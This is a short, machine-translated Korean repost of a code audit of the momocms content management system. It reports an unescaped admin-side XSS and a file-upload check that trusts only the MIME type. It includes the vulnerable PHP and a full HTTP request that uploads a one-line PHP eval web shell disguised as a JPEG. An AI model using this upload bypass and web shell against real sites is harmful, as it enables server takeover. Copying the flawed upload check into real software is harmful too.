>  기사  >  백엔드 개발  >  momocms 코드 감사

momocms 코드 감사

WBOY
WBOY원래의
2016-08-08 09:30:221212검색

심심할 때 웹마스터 홈에서 인기 프로그램이 있어서 다운받아서 봤어요.

프런트 엔드 $_GET은 intval() 함수를 사용하여 필터링되며 악용할 내용이 없습니다.

배경에 xss가 있습니다

admincreate_sub_product.php의 96행

<span style="font-family:Microsoft YaHei;font-size:18px;"><input type="hidden" name="category" value="<?php echo $_GET[&#39;id&#39;]; ?>">
							<p>
</span>


2: 업로드 취약점

admin/banner_do.php

코드는 다음과 같습니다

<span style="font-family:Microsoft YaHei;font-size:18px;">require("./database.php");
if(empty($_SESSION['momocms_admin'])){
	header("Location:./index.php");	
	exit;
}
if($_SESSION['momocms_isAdmin']==1){
if (($_FILES["banner"]["type"] == "image/gif")
|| ($_FILES["banner"]["type"] == "image/jpeg")
|| ($_FILES["banner"]["type"] == "image/png")
|| ($_FILES["banner"]["type"] == "image/pjpeg"))
  {
  if ($_FILES["banner"]["error"] > 0){
    echo "Return Code: " . $_FILES["banner"]["error"] . "<br />";
    }else{
    	if(!is_dir("../resource/slide/images")){
    		mkdir("../resource/slide/images");
    	}
    	 $pos = strrpos($_FILES["banner"]["name"],".");
    	 $back = substr($_FILES["banner"]["name"],$pos);
    	 $_FILES["banner"]["name"] = time().$back;
      move_uploaded_file($_FILES["banner"]["tmp_name"],
      "../resource/slide/images/".  $_FILES["banner"]["name"]);
      $pic="../resource/slide/images/".  $_FILES["banner"]["name"];
      echo '<script>
				parent.document.getElementById("successMsg").style.display="block";
				setTimeout(function(){
				parent.window.location.href="./banner.php";
				},1500);
				</script>';
    }
  }
}
</span>

업로드에 따라 유형이 결정되는 것을 볼 수 있습니다. 업로드했으나 판단은 없습니다. 업로드된 접미사 등

그래서 업로드를 중단하기 위해 Content-type: image/jpeg를 구성할 수 있습니다.

<span style="font-family:Microsoft YaHei;font-size:18px;">POST /test/momocms/admin/banner_do.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/test/momocms/admin/banner.php
Cookie: PHPSESSID=a920be64bc19dc2b620e7ddab2441811
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------13761195204349
Content-Length: 227

-----------------------------13761195204349
Content-Disposition: form-data; name="banner"; filename="1.php"
Content-Type: image/jpeg

<?php eval($_POST[&#39;w&#39;]);?>
-----------------------------13761195204349--


</span>



그럼 백그라운드 위젯에서 php 소스코드를 직접 수정할 수 있는 곳은 어디인가요

그동안 본 건 그게 다예요. 나중에 살펴볼 다른 것들이 있습니다.

위의 내용은 momocms 코드 감사에 대한 내용을 포함하여 PHP 튜토리얼에 관심이 있는 친구들에게 도움이 되기를 바랍니다.

성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.